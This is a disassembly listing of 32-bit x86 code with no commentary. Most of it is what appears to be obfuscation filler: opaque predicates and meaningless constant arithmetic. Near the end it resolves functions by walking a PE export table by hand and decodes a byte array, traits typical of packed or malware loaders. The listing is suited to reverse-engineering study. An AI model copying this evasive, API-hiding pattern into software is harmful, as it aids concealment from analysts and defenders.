and dword [ebp - 0x5f0], 0
imul eax, dword [ebp - 0x5f0], 0
cmp eax, dword [ebp - 0x300]
je 0x1003648b
mov dword [ebp - 0x5f8], 1
jmp 0x10036492
and dword [ebp - 0x5f8], 0
mov eax, dword [ebp - 0x258]
cmp dword [ebp - 0x5f8], eax
jge 0x100364ac
mov dword [ebp - 0x600], 1
jmp 0x100364b3
and dword [ebp - 0x600], 0
mov eax, dword [ebp - 0x620]
cmp dword [ebp - 0x600], eax
jg 0x100364cd
mov dword [ebp - 0x608], 1
jmp 0x100364d4
and dword [ebp - 0x608], 0
mov eax, dword [ebp - 0x608]
mov dword [ebp - 0x258], eax
cmp dword [ebp - 0x258], 0
jne 0x100364f6
xor eax, eax
jne 0x100364f6
and dword [ebp - 0x610], 0
jmp 0x10036500
mov dword [ebp - 0x610], 1
mov eax, dword [ebp - 0x150]
cmp dword [ebp - 0x610], eax
je 0x1003651a
mov dword [ebp - 0x618], 1
jmp 0x10036521
and dword [ebp - 0x618], 0
cmp dword [ebp - 0x618], 0x1d84
je 0x10036534
cmp dword [ebp - 0xb98], 0
cmp dword [ebp - 0x258], 0
jne 0x1003654d
push 8
pop eax
test eax, eax
jne 0x1003654d
and dword [ebp - 0xa8c], 0
jmp 0x10036557
mov dword [ebp - 0xa8c], 1
mov eax, dword [ebp - 0x620]
mov dword [ebp - 0xde8], eax
mov eax, dword [ebp - 0x628]
mov dword [ebp - 0x300], eax
mov eax, dword [0x1061181c]
and eax, 1
jne 0x100365a6
mov eax, dword [0x1061181c]
or eax, 1
mov dword [0x1061181c], eax
mov dword [ebp - 4], 0x1f
mov ecx, 0x106117f8
call fcn.10039798
push 0x10069ae3
call fcn.1005166c
pop ecx
or dword [ebp - 4], 0xffffffff
mov dword [ebp - 0xb8], 0xfffffff8
mov dword [ebp - 0x270], 0xffffffff
mov dword [ebp - 0x160], 0x790e8648
mov dword [ebp - 0x148], 0xffffffff
push 2
lea ecx, [ebp - 0xb38]
call fcn.10020852
mov dword [ebp - 4], 0x20
mov dword [ebp - 0x328], 0x3589fe57
push 2
lea ecx, [ebp - 0x958]
call fcn.10020852
mov byte [ebp - 4], 0x21
mov dword [ebp - 0xb90], 0x8216
mov dword [ebp - 0x278], 0x83c17a3f
mov dword [ebp - 0x318], 0xeeb303a6
mov dword [ebp - 0xb1c], 0x10ddf4f3
mov dword [ebp - 0xaa4], 0x3386b47
mov dword [ebp - 0xc4c], 1
mov dword [ebp - 0xc48], 1
mov dword [ebp - 0xc44], 1
mov dword [ebp - 0xc40], 1
mov dword [ebp - 0x28], 0
jmp 0x10036667
mov eax, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 2
jge 0x10036683
push dword [ebp - 0x28]
lea ecx, [ebp - 0xb38]
call fcn.100208d0
mov dword [eax], 0xaf7f3e76
jmp 0x10036660
mov dword [ebp - 0x28], 0
jmp 0x10036693
mov eax, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 2
jge 0x100366af
push dword [ebp - 0x28]
lea ecx, [ebp - 0x958]
call fcn.100208d0
mov dword [eax], 0x2668
jmp 0x1003668c
mov dword [ebp - 0x28], 0
jmp 0x100366bf
mov eax, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 3
jge 0x100366d5
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0xff4], 8
jmp 0x100366b8
mov dword [ebp - 0xb8], 0
jmp 0x100366ee
mov eax, dword [ebp - 0xb8]
inc eax
mov dword [ebp - 0xb8], eax
cmp dword [ebp - 0xb8], 0x16
jne 0x100368fe
mov dword [ebp - 0x268], 4
mov dword [ebp - 0x308], 0xbc98072f
mov dword [ebp - 0x260], 0
jmp 0x10036728
mov eax, dword [ebp - 0x260]
inc eax
mov dword [ebp - 0x260], eax
cmp dword [ebp - 0x260], 3
jge 0x10036744
mov eax, dword [ebp - 0x260]
mov dword [ebp + eax*4 - 0xcc8], 0x3d188047
jmp 0x1003671b
mov dword [ebp - 0x268], 0x7dd6
cmp dword [ebp - 0x268], 0
jne 0x100368dd
cmp dword [ebp - 0x268], 0
jne 0x10036770
mov dword [ebp - 0xb0c], 1
jmp 0x10036777
and dword [ebp - 0xb0c], 0
mov eax, dword [ebp - 0x328]
inc eax
mov dword [ebp - 0x328], eax
push 1
lea ecx, [ebp - 0x958]
call fcn.100208d0
cmp dword [eax], 0xffffffff
jge 0x100367a2
mov dword [ebp - 0x630], 1
jmp 0x100367a9
and dword [ebp - 0x630], 0
mov eax, dword [ebp - 0x630]
mov dword [ebp - 0x160], eax
imul eax, dword [ebp - 0x160], 0xfffa
imul eax, eax, 0x9107
test eax, eax
je 0x100367de
cmp dword [ebp - 0x268], 0
je 0x100367de
mov dword [ebp - 0xa94], 1
jmp 0x100367e5
and dword [ebp - 0xa94], 0
mov eax, dword [ebp - 0x278]
mov dword [ebp - 0xeec], eax
mov eax, dword [ebp - 0x148]
mov dword [ebp - 0xdf0], eax
push 0
lea ecx, [ebp - 0xb38]
call fcn.100208d0
cmp dword [eax], 0xe240
jl 0x1003681e
mov dword [ebp - 0xb74], 1
jmp 0x10036825
and dword [ebp - 0xb74], 0
mov eax, dword [ebp - 0x148]
mov dword [ebp - 0xf44], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xcc8]
mov dword [ebp - 0xdf8], eax
mov eax, dword [ebp - 0x308]
dec eax
mov dword [ebp - 0x308], eax
cmp dword [ebp - 0x308], 0xffffffff
jne 0x10036867
xor eax, eax
jne 0x10036867
and dword [ebp - 0x638], 0
jmp 0x10036871
mov dword [ebp - 0x638], 1
mov eax, dword [ebp - 0x278]
cmp dword [ebp - 0x638], eax
jle 0x1003688b
mov dword [ebp - 0xa9c], 1
jmp 0x10036892
and dword [ebp - 0xa9c], 0
mov eax, dword [ebp - 0x270]
mov dword [ebp - 0xef4], eax
mov eax, dword [ebp - 0x318]
mov dword [ebp - 0x640], eax
push 1
lea ecx, [ebp - 0xb38]
call fcn.100208d0
mov ecx, dword [ebp - 0x640]
mov dword [eax], ecx
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xcc8]
cmp dword [ebp - 0x640], eax
jle 0x100368dd
and dword [ebp - 0x648], 0
jmp 0x100368e7
mov dword [ebp - 0x648], 1
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x648]
mov dword [ebp + eax - 0xcc8], ecx
jmp 0x100366e1
cmp dword [ebp - 0x318], 0
jne 0x10036913
mov dword [ebp - 0x320], 1
jmp 0x1003691a
and dword [ebp - 0x320], 0
cmp dword [ebp - 0xb8], 0
jne 0x10036935
cmp dword [ebp - 0x160], 0
jne 0x10036935
and dword [ebp - 0x650], 0
jmp 0x1003693f
mov dword [ebp - 0x650], 1
cmp dword [ebp - 0x650], 0xfffffffb
jl 0x10036954
mov dword [ebp - 0x658], 1
jmp 0x1003695b
and dword [ebp - 0x658], 0
mov eax, dword [ebp - 0x658]
mov dword [ebp - 0xb8], eax
mov eax, dword [ebp - 0xb8]
mov dword [ebp - 0x160], eax
cmp dword [ebp - 0x160], 0xaa798d66
ja 0x10036994
cmp dword [ebp - 0xb1c], 0
je 0x10036994
mov dword [ebp - 0x660], 1
jmp 0x1003699b
and dword [ebp - 0x660], 0
mov eax, dword [ebp - 0xaa4]
cmp dword [ebp - 0x660], eax
jg 0x100369b5
mov dword [ebp - 0x668], 1
jmp 0x100369bc
and dword [ebp - 0x668], 0
cmp dword [ebp - 0x668], 0xc21e6db7
jb 0x100369d4
mov dword [ebp - 0x670], 1
jmp 0x100369db
and dword [ebp - 0x670], 0
mov eax, dword [ebp - 0xb90]
cmp dword [ebp - 0x670], eax
jne 0x100369f5
mov dword [ebp - 0x310], 1
jmp 0x100369fc
and dword [ebp - 0x310], 0
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x310]
mov dword [ebp + eax - 0xc4c], ecx
cmp dword [ebp - 0x310], 0
je 0x10036a2c
cmp dword [ebp - 0x270], 0
je 0x10036a2c
mov dword [ebp - 0x678], 1
jmp 0x10036a33
and dword [ebp - 0x678], 0
mov eax, dword [ebp - 0x148]
imul eax, dword [ebp - 0x678]
cmp eax, 0xfffffffb
jg 0x10036a51
mov dword [ebp - 0x680], 1
jmp 0x10036a58
and dword [ebp - 0x680], 0
push 1
lea ecx, [ebp - 0x958]
call fcn.100208d0
mov ecx, dword [ebp - 0x680]
sub ecx, dword [eax]
mov dword [ebp - 0x270], ecx
mov eax, dword [ebp - 0x270]
cmp eax, dword [ebp - 0x148]
jg 0x10036a8a
cmp dword [ebp - 0xb8], 0
je 0x10036aa5
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0xc4c], 0
je 0x10036aa5
mov dword [ebp - 0x688], 1
jmp 0x10036aac
and dword [ebp - 0x688], 0
push 0
lea ecx, [ebp - 0xb38]
call fcn.100208d0
mov ecx, dword [ebp - 0x320]
mov dword [eax], ecx
mov eax, dword [ebp - 0x318]
add eax, dword [ebp - 0x688]
mov dword [ebp - 0x148], eax
mov eax, dword [ebp - 0x148]
imul eax, dword [ebp - 0x278]
push 1
lea ecx, [ebp - 0x958]
call fcn.100208d0
mov esi, eax
push 1
lea ecx, [ebp - 0x958]
call fcn.100208d0
mov eax, dword [eax]
cmp eax, dword [esi]
jne 0x10036b0e
mov dword [ebp - 0x690], 1
jmp 0x10036b15
and dword [ebp - 0x690], 0
mov eax, dword [ebp - 0x328]
cmp dword [ebp - 0x690], eax
jne 0x10036b2a
cmp dword [ebp - 0x278], 0
push 4
pop eax
shl eax, 1
mov dword [ebp + eax - 0xff4], 3
mov byte [ebp - 4], 0x20
lea ecx, [ebp - 0x958]
call fcn.100208b4
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xb38]
call fcn.100208b4
movzx eax, byte [0x10611709]
test eax, eax
je 0x1003707d
mov ecx, 0x106117f8
call fcn.1003985d
movzx eax, al
test eax, eax
jne 0x1003707d
push 4
lea ecx, [ebp - 0x1a8]
call fcn.10020852
mov dword [ebp - 4], 0x22
mov dword [ebp - 0x288], 0xf4a8b108
mov dword [ebp - 0xb2c], 1
mov dword [ebp - 0xe00], 1
mov dword [ebp - 0x280], 0
jmp 0x10036bc7
mov eax, dword [ebp - 0x280]
inc eax
mov dword [ebp - 0x280], eax
cmp dword [ebp - 0x280], 4
jge 0x10036be9
push dword [ebp - 0x280]
lea ecx, [ebp - 0x1a8]
call fcn.100208d0
mov dword [eax], 2
jmp 0x10036bba
push 2
lea ecx, [ebp - 0x1a8]
call fcn.100208d0
and dword [eax], 0
jmp 0x10036c1f
push 2
lea ecx, [ebp - 0x1a8]
call fcn.100208d0
cmp dword [eax], 0x11
je 0x10036c5c
mov dword [ebp - 0x68], 0xfffa
mov dword [ebp - 0x48], 0xf6a715cc
mov dword [ebp - 0x9a4], 6
mov dword [ebp - 0x9a0], 6
mov dword [ebp - 0x99c], 6
mov dword [ebp - 0x998], 6
mov dword [ebp - 0x338], 0
mov dword [ebp - 0x340], 0xfffffffc
cmp dword [ebp - 0x68], 0
je 0x100373c1
mov dword [ebp - 0x94], 0xaccbad86
mov dword [ebp - 0xd70], 0xfffffffc
mov dword [ebp - 0xd6c], 0xfffffffc
mov dword [ebp - 0xd68], 0xfffffffc
mov dword [ebp - 0xd64], 0xfffffffc
mov eax, dword [ebp - 0x68]
cmp eax, dword [ebp - 0x94]
jne 0x1003711a
mov dword [ebp - 0xabc], 1
jmp 0x10037121
and dword [ebp - 0xabc], 0
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0xf4c], eax
mov eax, dword [ebp - 0x48]
sub eax, 0x6d42bd36
je 0x10037149
cmp dword [ebp - 0x94], 0
je 0x10037149
mov dword [ebp - 0x6c8], 1
jmp 0x10037150
and dword [ebp - 0x6c8], 0
cmp dword [ebp - 0x6c8], 0xaf8b5131
jbe 0x10037168
mov dword [ebp - 0x6d0], 1
jmp 0x1003716f
and dword [ebp - 0x6d0], 0
mov eax, dword [ebp - 0x94]
cmp dword [ebp - 0x6d0], eax
jne 0x10037189
mov dword [ebp - 0x198], 0xd54ba4f
mov dword [ebp - 0xb3c], 8
mov dword [ebp - 0x48], 0xfffb
cmp dword [ebp - 0x338], 1
jl 0x100373f1
mov dword [ebp - 0x748], 1
jmp 0x100373f8
and dword [ebp - 0x748], 0
mov eax, dword [ebp - 0x68]
cmp dword [ebp - 0x748], eax
jle 0x1003740f
mov dword [ebp - 0x750], 1
jmp 0x10037416
and dword [ebp - 0x750], 0
mov eax, dword [ebp - 0x750]
sub eax, dword [ebp - 0x68]
cmp dword [ebp - 0x198], eax
je 0x10037433
mov dword [ebp - 0x758], 1
jmp 0x1003743a
and dword [ebp - 0x758], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x9a4]
cmp dword [ebp - 0x758], eax
jge 0x1003745a
mov dword [ebp - 0x18], 0x7161ab6e
push 1
lea ecx, [ebp - 0xb48]
call fcn.10020852
mov dword [ebp - 4], 0x24
mov dword [ebp - 0xd0], 1
mov dword [ebp - 0xca4], 1
mov dword [ebp - 0xca0], 1
mov dword [ebp - 0xc9c], 1
mov dword [ebp - 0xc98], 1
lea ecx, [ebp - 0x375]
call fcn.100208df
push eax
lea eax, [ebp - 0xc94]
push eax
lea eax, [ebp - 0xca4]
push eax
lea ecx, [ebp - 0x1044]
call fcn.100208e2
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0xbf4]
call fcn.1002088e
mov byte [ebp - 4], 0x25
push 3
lea ecx, [ebp - 0xbdc]
call fcn.10020852
mov byte [ebp - 4], 0x26
mov dword [ebp - 0x78], 0
jmp 0x100378ee
mov eax, dword [ebp - 0x78]
inc eax
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 1
jge 0x1003790a
push dword [ebp - 0x78]
lea ecx, [ebp - 0xb48]
call fcn.100208d0
mov dword [eax], 0xfffffffb
jmp 0x100378e7
mov dword [ebp - 0x78], 0
jmp 0x1003791a
mov eax, dword [ebp - 0x78]
inc eax
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 3
jge 0x10037936
push dword [ebp - 0x78]
lea ecx, [ebp - 0xbdc]
call fcn.100208d0
mov dword [eax], 3
jmp 0x10037913
mov eax, 0x7e0d
test eax, eax
je 0x10037959
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x18]
je 0x10037959
cmp dword [ebp - 0x18], 0
je 0x10037959
mov dword [ebp - 0x7f0], 1
jmp 0x10037960
and dword [ebp - 0x7f0], 0
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x7f0], eax
jl 0x10037977
mov dword [ebp - 0x7f8], 1
jmp 0x1003797e
and dword [ebp - 0x7f8], 0
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x7f8], eax
jge 0x10037995
mov dword [ebp - 0xac4], 1
jmp 0x1003799c
and dword [ebp - 0xac4], 0
mov eax, 0x8ee3
dec eax
dec eax
cmp eax, 1
jae 0x100379b4
mov dword [ebp - 0x800], 1
jmp 0x100379bb
and dword [ebp - 0x800], 0
mov eax, dword [ebp - 0x800]
mov dword [ebp - 0xd0], eax
mov eax, dword [ebp - 0xd0]
cmp eax, dword [ebp - 0x18]
jne 0x100379de
mov dword [ebp - 0x808], 1
jmp 0x100379e5
and dword [ebp - 0x808], 0
mov eax, dword [ebp - 0x808]
sub eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x18]
jg 0x10037a08
cmp dword [ebp - 0x18], 0
jne 0x10037a08
cmp dword [ebp - 0x18], 0
jne 0x10037a08
and dword [ebp - 0x810], 0
jmp 0x10037a12
mov dword [ebp - 0x810], 1
cmp dword [ebp - 0x810], 0xf68e10d3
jne 0x10037a2a
mov dword [ebp - 0x818], 1
jmp 0x10037a31
and dword [ebp - 0x818], 0
cmp dword [ebp - 0x818], 0xe9e5a939
jbe 0x10037a49
mov dword [ebp - 0x3e0], 1
jmp 0x10037a50
and dword [ebp - 0x3e0], 0
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x3d8], eax
push 0
lea ecx, [ebp - 0xb48]
call fcn.100208d0
mov ecx, dword [ebp - 0x3d8]
mov dword [eax], ecx
mov eax, dword [ebp - 0x3d8]
sub eax, dword [ebp - 0x18]
imul eax, dword [ebp - 0x3e0]
cmp eax, 0xffff
jae 0x10037a91
mov dword [ebp - 0x3e8], 1
jmp 0x10037a98
and dword [ebp - 0x3e8], 0
cmp dword [ebp - 0x3e8], 5
je 0x10037aad
mov dword [ebp - 0x3f0], 1
jmp 0x10037ab4
and dword [ebp - 0x3f0], 0
cmp dword [ebp - 0x3f0], 0x5c380a38
jne 0x10037acc
mov dword [ebp - 0x3f8], 1
jmp 0x10037ad3
and dword [ebp - 0x3f8], 0
mov eax, dword [ebp - 0x3f8]
sub eax, 6
imul eax, eax, 0x7963
test eax, eax
je 0x10037d36
mov dword [ebp - 0xd8], 4
push 3
lea ecx, [ebp - 0xbf4]
call fcn.100208d0
mov esi, eax
push 0
lea ecx, [ebp - 0xb48]
call fcn.100208d0
mov eax, dword [eax]
mov dword [esi], eax
mov dword [ebp - 0xd0], 0
jmp 0x10037b2d
mov eax, dword [ebp - 0xd0]
inc eax
mov dword [ebp - 0xd0], eax
cmp dword [ebp - 0xd0], 0
jg 0x10037d31
mov dword [ebp - 0x348], 0x34166da9
mov dword [ebp - 0x358], 0xc77a5c6a
mov esi, dword [ebp - 0xd8]
push 0
lea ecx, [ebp - 0xbf4]
call fcn.100208d0
cmp dword [eax], esi
je 0x10037b71
mov dword [ebp - 0x350], 1
jmp 0x10037b78
and dword [ebp - 0x350], 0
mov dword [ebp - 0x348], 1
cmp dword [ebp - 0x348], 0
jne 0x10037b9d
cmp dword [ebp - 0x348], 0
jne 0x10037b9d
and dword [ebp - 0x400], 0
jmp 0x10037ba7
mov dword [ebp - 0x400], 1
mov eax, dword [ebp - 0xd8]
cmp dword [ebp - 0x400], eax
jle 0x10037bc1
mov dword [ebp - 0x408], 1
jmp 0x10037bc8
and dword [ebp - 0x408], 0
push dword [ebp - 0xd0]
lea ecx, [ebp - 0xb48]
call fcn.100208d0
mov ecx, dword [ebp - 0x350]
mov dword [eax], ecx
mov eax, dword [ebp - 0x350]
cmp eax, dword [ebp - 0x408]
jl 0x10037bfb
mov dword [ebp - 0x410], 1
jmp 0x10037c02
and dword [ebp - 0x410], 0
mov eax, dword [ebp - 0xd8]
imul eax, dword [ebp - 0x410]
add eax, 0x1062154e
cmp eax, dword [ebp - 0xd8]
jne 0x10037c28
mov dword [ebp - 0xa10], 1
jmp 0x10037c2f
and dword [ebp - 0xa10], 0
mov eax, dword [ebp - 0x358]
mov dword [ebp - 0xe18], eax
cmp dword [ebp - 0x358], 8
jne 0x10037c50
mov dword [ebp - 0x418], 1
jmp 0x10037c57
and dword [ebp - 0x418], 0
mov eax, dword [ebp - 0xd8]
cmp eax, dword [ebp - 0x418]
jle 0x10037c71
mov dword [ebp - 0x420], 1
jmp 0x10037c78
and dword [ebp - 0x420], 0
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x420], eax
jne 0x10037c8f
mov dword [ebp - 0xa18], 1
jmp 0x10037c96
and dword [ebp - 0xa18], 0
mov eax, dword [ebp - 0xd0]
mov dword [ebp - 0xf04], eax
mov eax, dword [ebp - 0xd8]
cmp eax, dword [ebp - 0x358]
jge 0x10037cbc
mov dword [ebp - 0xa20], 1
jmp 0x10037cc3
and dword [ebp - 0xa20], 0
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0xe20], eax
mov eax, dword [ebp - 0xd8]
mov dword [ebp - 0xf8c], eax
cmp dword [ebp - 0xd8], 0
jne 0x10037cee
xor eax, eax
jne 0x10037cee
and dword [ebp - 0x428], 0
jmp 0x10037cf8
mov dword [ebp - 0x428], 1
cmp dword [ebp - 0x428], 0xa91a
jne 0x10037d10
mov dword [ebp - 0x430], 1
jmp 0x10037d17
and dword [ebp - 0x430], 0
push 1
lea ecx, [ebp - 0xbdc]
call fcn.100208d0
mov ecx, dword [ebp - 0x430]
mov dword [eax], ecx
jmp 0x10037b20
jmp 0x10037e19
mov dword [ebp - 0xa28], 0
mov dword [ebp - 0x18], 0
jmp 0x10037d50
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0x2c
je 0x10037e19
push 1
lea ecx, [ebp - 0xbc4]
call fcn.10020852
mov byte [ebp - 4], 0x27
mov dword [ebp - 0x200], 0
jmp 0x10037d84
mov eax, dword [ebp - 0x200]
inc eax
mov dword [ebp - 0x200], eax
cmp dword [ebp - 0x200], 1
jge 0x10037da6
push dword [ebp - 0x200]
lea ecx, [ebp - 0xbc4]
call fcn.100208d0
mov dword [eax], 0x29b02088
jmp 0x10037d77
push 1
lea ecx, [ebp - 0xbf4]
call fcn.100208d0
mov esi, dword [eax]
neg esi
push 0
lea ecx, [ebp - 0xbc4]
call fcn.100208d0
mov dword [eax], esi
mov esi, dword [ebp - 0xa28]
push 0
lea ecx, [ebp - 0xbc4]
call fcn.100208d0
cmp dword [eax], esi
jne 0x10037de9
mov dword [ebp - 0x438], 1
jmp 0x10037df0
and dword [ebp - 0x438], 0
push 1
lea ecx, [ebp - 0xbdc]
call fcn.100208d0
mov ecx, dword [ebp - 0x438]
mov dword [eax], ecx
mov byte [ebp - 4], 0x26
lea ecx, [ebp - 0xbc4]
call fcn.100208b4
jmp 0x10037d49
mov byte [ebp - 4], 0x25
lea ecx, [ebp - 0xbdc]
call fcn.100208b4
mov byte [ebp - 4], 0x24
lea ecx, [ebp - 0xbf4]
call fcn.100208b4
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xb48]
call fcn.100208b4
cmp dword [ebp + 0x10], 0
jne 0x10037e75
cmp dword [ebp - 0x13c], 0xffffffff
je 0x10037e75
mov eax, dword [ebp - 0xa4]
mov ecx, dword [ebp - 0x14c]
add ecx, dword [eax + 0x24]
mov eax, dword [ebp - 0x13c]
mov ax, word [ecx + eax*2]
mov word [ebp - 0x88], ax
mov dword [ebp - 0xe28], 0x42eb90da
mov dword [ebp - 0xb64], 0
mov dword [ebp - 0xb60], 0
mov dword [ebp - 0xb5c], 0
mov dword [ebp - 0xb58], 0
mov dword [ebp - 0xc68], 0x906c902d
mov dword [ebp - 0xc64], 0x906c902d
mov dword [ebp - 0xc60], 0x906c902d
mov dword [ebp - 0xc5c], 0x906c902d
lea ecx, [ebp - 0x365]
call fcn.100208df
push eax
lea eax, [ebp - 0xc58]
push eax
lea eax, [ebp - 0xc68]
push eax
lea ecx, [ebp - 0x101c]
call fcn.100208e2
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0xcf8]
call fcn.1002088e
mov dword [ebp - 4], 0x28
mov dword [ebp - 0x19c], 0xffffffff
mov dword [ebp - 0x210], 0xfffffff9
mov dword [ebp - 0x220], 0xf985589b
mov dword [ebp - 0x144], 0xc7ab
push 4
lea ecx, [ebp - 0xedc]
call fcn.10020852
mov byte [ebp - 4], 0x29
mov dword [ebp - 0x208], 0
jmp 0x10037f5d
mov eax, dword [ebp - 0x208]
inc eax
mov dword [ebp - 0x208], eax
cmp dword [ebp - 0x208], 4
jge 0x10037f7f
push dword [ebp - 0x208]
lea ecx, [ebp - 0xedc]
call fcn.100208d0
mov dword [eax], 0xe82b
jmp 0x10037f50
mov eax, dword [ebp - 0x144]
dec eax
mov dword [ebp - 0x144], eax
mov dword [ebp - 0x210], 0xffffffe9
jmp 0x10037fa5
mov eax, dword [ebp - 0x210]
inc eax
mov dword [ebp - 0x210], eax
cmp dword [ebp - 0x210], 5
jg 0x10038203
mov dword [ebp - 0x64], 0x1fc4
mov dword [ebp - 0x9c0], 0x828c
mov esi, dword [ebp - 0x64]
push 1
lea ecx, [ebp - 0xcf8]
call fcn.100208d0
imul esi, dword [eax]
imul eax, esi, 7
cmp dword [ebp - 0x64], eax
jg 0x1003813c
push 3
lea ecx, [ebp - 0x964]
call fcn.10020852
mov byte [ebp - 4], 0x2a
mov dword [ebp - 0x218], 0
jmp 0x1003800c
mov eax, dword [ebp - 0x218]
inc eax
mov dword [ebp - 0x218], eax
cmp dword [ebp - 0x218], 3
jge 0x1003802e
push dword [ebp - 0x218]
lea ecx, [ebp - 0x964]
call fcn.100208d0
mov dword [eax], 0x20104353
jmp 0x10037fff
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0xf0c], eax
push 1
lea ecx, [ebp - 0xcf8]
call fcn.100208d0
push 2
lea ecx, [ebp - 0x964]
call fcn.100208d0
mov eax, dword [ebp - 0x19c]
mov dword [ebp - 0xe30], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xb64]
mov dword [ebp - 0xf54], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xb64]
sub eax, dword [ebp - 0x64]
je 0x100380a0
push 2
lea ecx, [ebp - 0x964]
call fcn.100208d0
cmp dword [eax], 0
je 0x100380a0
mov dword [ebp - 0x9bc], 1
jmp 0x100380a7
and dword [ebp - 0x9bc], 0
push 1
lea ecx, [ebp - 0x964]
call fcn.100208d0
mov esi, dword [ebp - 0x64]
push 1
lea ecx, [ebp - 0x964]
call fcn.100208d0
cmp esi, dword [eax]
jl 0x100380d4
mov dword [ebp - 0x440], 1
jmp 0x100380db
and dword [ebp - 0x440], 0
cmp dword [ebp - 0x440], 0x6c47
jl 0x100380f3
mov dword [ebp - 0x448], 1
jmp 0x100380fa
and dword [ebp - 0x448], 0
cmp dword [ebp - 0x448], 0x1b705618
jge 0x10038112
mov dword [ebp - 0x450], 1
jmp 0x10038119
and dword [ebp - 0x450], 0
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x450]
mov dword [ebp + eax - 0xb64], ecx
mov byte [ebp - 4], 0x29
lea ecx, [ebp - 0x964]
call fcn.100208b4
jmp 0x1003814b
mov eax, dword [ebp - 0x64]
push 4
pop ecx
shl ecx, 1
mov dword [ebp + ecx - 0xb64], eax
mov dword [ebp - 0x19c], 0
jmp 0x10038164
mov eax, dword [ebp - 0x19c]
inc eax
mov dword [ebp - 0x19c], eax
cmp dword [ebp - 0x19c], 3
jg 0x100381fe
mov byte [ebp - 0xf6], 0
movzx eax, byte [ebp - 0xf6]
test eax, eax
je 0x1003818e
push 0x1d34
call dword [sym.imp.GDI32.dll_GetStockObject]
mov dword [ebp - 0x220], 3
jmp 0x100381a7
mov eax, dword [ebp - 0x220]
dec eax
mov dword [ebp - 0x220], eax
cmp dword [ebp - 0x220], 0
jl 0x100381f9
mov dword [ebp - 0x144], 0
jmp 0x100381c9
mov eax, dword [ebp - 0x144]
inc eax
mov dword [ebp - 0x144], eax
cmp dword [ebp - 0x144], 3
jg 0x100381f7
mov dword [ebp - 0x64], 3
jmp 0x100381e2
mov eax, dword [ebp - 0x64]
dec eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 0
jl 0x100381f5
cmp dword [ebp - 0x9c0], 0
je 0x100381f3
jmp 0x100381f5
jmp 0x100381db
jmp 0x100381bc
jmp 0x1003819a
jmp 0x10038157
jmp 0x10037f98
mov byte [ebp - 4], 0x28
lea ecx, [ebp - 0xedc]
call fcn.100208b4
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xcf8]
call fcn.100208b4
movzx eax, word [ebp - 0x88]
cmp eax, 0xffff
je 0x1003862d
movzx eax, word [ebp - 0x88]
mov ecx, dword [ebp - 0xa4]
mov edx, dword [ebp - 0x14c]
add edx, dword [ecx + 0x1c]
lea eax, [edx + eax*4]
mov dword [ebp - 0x9c8], eax
mov eax, dword [ebp - 0x9c8]
mov ecx, dword [ebp - 0x14c]
add ecx, dword [eax]
mov dword [ebp - 0xac], ecx
mov eax, dword [ebp - 0xac]
cmp eax, dword [ebp - 0xa4]
jbe 0x10038622
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x18c]
mov edx, dword [ebp - 0xa4]
add edx, dword [ecx + eax + 0x7c]
cmp dword [ebp - 0xac], edx
jae 0x10038622
mov eax, dword [0x1061181c]
and eax, 2
jne 0x100382cc
mov eax, dword [0x1061181c]
or eax, 2
mov dword [0x1061181c], eax
mov dword [ebp - 4], 0x2b
push 0x466d
call fcn.1003c8bc
pop ecx
mov byte [0x106117a8], al
or dword [ebp - 4], 0xffffffff
mov byte [ebp - 0xe4], 2
mov byte [ebp - 0xe3], 0x6b
mov byte [ebp - 0xe2], 1
mov byte [ebp - 0xe1], 0
mov byte [ebp - 0xe0], 0
mov byte [ebp - 0xdf], 8
mov byte [ebp - 0xde], 3
mov byte [ebp - 0xdd], 0x13
mov byte [ebp - 0xdc], 0x96
mov byte [ebp - 0xdb], 0x83
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0xe4]
and eax, 7
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0xe4]
or ecx, 7
sub ecx, eax
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0xe4]
mov byte [ebp + eax - 0x154], cl
mov dword [ebp - 0x44], 2
and dword [ebp - 0x228], 0
jmp 0x10038363
mov eax, dword [ebp - 0x44]
inc eax
inc eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 0xa
jae 0x10038419
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0xe4]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x44], eax
jne 0x100383ad
mov eax, dword [ebp - 0x44]
movzx eax, byte [ebp + eax - 0xe4]
inc eax
mov dword [ebp - 0x228], eax
